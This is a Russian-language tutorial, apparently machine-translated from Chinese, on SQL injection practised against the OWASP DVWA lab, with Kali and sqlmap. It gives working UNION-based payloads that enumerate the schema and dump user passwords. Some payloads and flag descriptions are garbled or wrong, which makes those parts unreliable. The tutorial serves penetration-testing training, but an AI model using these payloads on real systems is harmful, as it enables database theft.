SQL-инъекция возглавляет список проблем безопасности
Атака SQL-инъекцией заключается в том, что входные параметры не фильтруются, а затем напрямую встраиваются в оператор SQL для анализа.
SQL-инъекция — это метод атаки, при котором код SQL добавляется к входным параметрам и передается на сервер для анализа и выполнения.
2.2 Принцип SQL-инъекции
Злоумышленник размещает на странице вредоносные символы.
Сервер не фильтрует отправленные параметры или фильтрация недостаточна.
Злоумышленники используют сращивание операторов sql для получения конфиденциальной информации из базы данных.
2.3 Опасности SQL-инъекций
Утечка базы данных
Пользовательские данные были незаконно куплены и проданы
Нарушение безопасности веб-приложений
2.4 Метод реализации SQL-инъекции
Руководство
Найти: точка инъекции
Входные данные: общий синтаксис комбинации SQL-инъекций для внедрения.
автоматический (инструмент)
Инструмент: сканирование точек инъекции.
Ввод: Автоматически пробовать различные комбинации синтаксиса.
3. Настройка среды
виртуальная машина vmware 3.1
3.1.1 Функция
Программное обеспечение виртуальной машины. Вы можете использовать программное обеспечение для установки нескольких виртуальных операционных систем (Linux, Windows) на физических машинах.
3.3 Машина проникновения (обучение атаке среды внедрения sql)
эффект:
Kali содержит сотни инструментов, которые можно использовать для различных задач информационной безопасности, таких как тестирование на проникновение, исследование безопасности.
4. Ручная инъекция
4.1 Подготовка окружающей среды
Описание: Практика ручного введения через веб-приложение дрона. шаг:
Запуск дрона-мишени OWASP
Доступ к дрону через браузер
Посетите проект OWASP-dvwa
Авторизоваться
Выберите приложение для SQL-инъекции
4.2 Найдите точку инъекции
Примечание. В основном используйте одинарные кавычки и escape-символы, в основном одинарные кавычки. принцип:
#后台程序sql语句select first_name,last_name from users where user_id ='$id';#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了select first_name,last_name fro users where user_id =''';
1
2
3
4
4.3 Логическое ИЛИ
4.4 Угадайте количество столбцов
по союзу
' unionselect1,2#
1
2. По логическому ИЛИ
'or1=1#
1
4.5 Получение баз данных, таблиц и столбцов
Получить имя базы данных
' unionselect1,database()#
1
Получить таблицу
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
1
Получить столбец
' union select column_name,1 from information_schema.columns where table_name='users' #
1
4.6 Получить данные
//1. 获取单个字段数据' union select user,1 from users#
//2. 获取两个字段
'unionselectuser,password from users#
1
2
3
4
5
4.7 функция конкат
Функция: объединить несколько строк в одну строку. Синтаксис: concat(str1,str2,…) Пример:
Получите user_id, пользователя, пароль из таблицы пользователей и отобразите их в двух столбцах.
' union select user,concat(first_name,'',last_name,' ',password)from users#
1
5. Автоматический впрыск
5.1 Знакомство с автоматическим впрыском
Примечание. Автоматическое внедрение означает использование инструментов вместо ручной работы для выполнения операций внедрения SQL. Инструмент: sqlmap
5.2 Автоматическое внедрение среды
Запустить дрон
Запустить машину проникновения
5.3 sqlmap
Инструмент: sqlmap
Инструмент тестирования на проникновение с открытым исходным кодом
Автоматически обнаруживать и использовать уязвимости SQL-инъекций и захватывать серверы баз данных.
5.3.1 Базовое использование sqlmap
параметр
-u: сканировать целевой URL
–batch: автоматически обрабатывать подсказки.
--cookie: дополнительные параметры файлов cookie.
шаг
Сканировать точку инъекции
Получить имя базы данных
Получить имя таблицы
Получить имя поля
получить данные
Поскольку нам нужно войти в систему, мы сначала получаем файл cookie страницы, на которой выполнен вход. Затем начните сканировать точку инъекции. Успешная инъекция
5.3.2 sqlmap получает имя библиотеки
– current-db: запросить имя базы данных, используемое текущим веб-сайтом. -D: применить указанную базу данных результат операции:
5.3.3 sqlmap получает таблицу
– current-db: запросить все имена таблиц в указанной библиотеке (вам нужно использовать -D, чтобы сначала указать имя библиотеки) -T: указать таблицу
результат операции:
5.3.4 sqlmap получает столбцы
– Столбцы: запросите все поля в указанной таблице (вам нужно использовать -T, чтобы сначала указать имя таблицы) -C: указать имя поля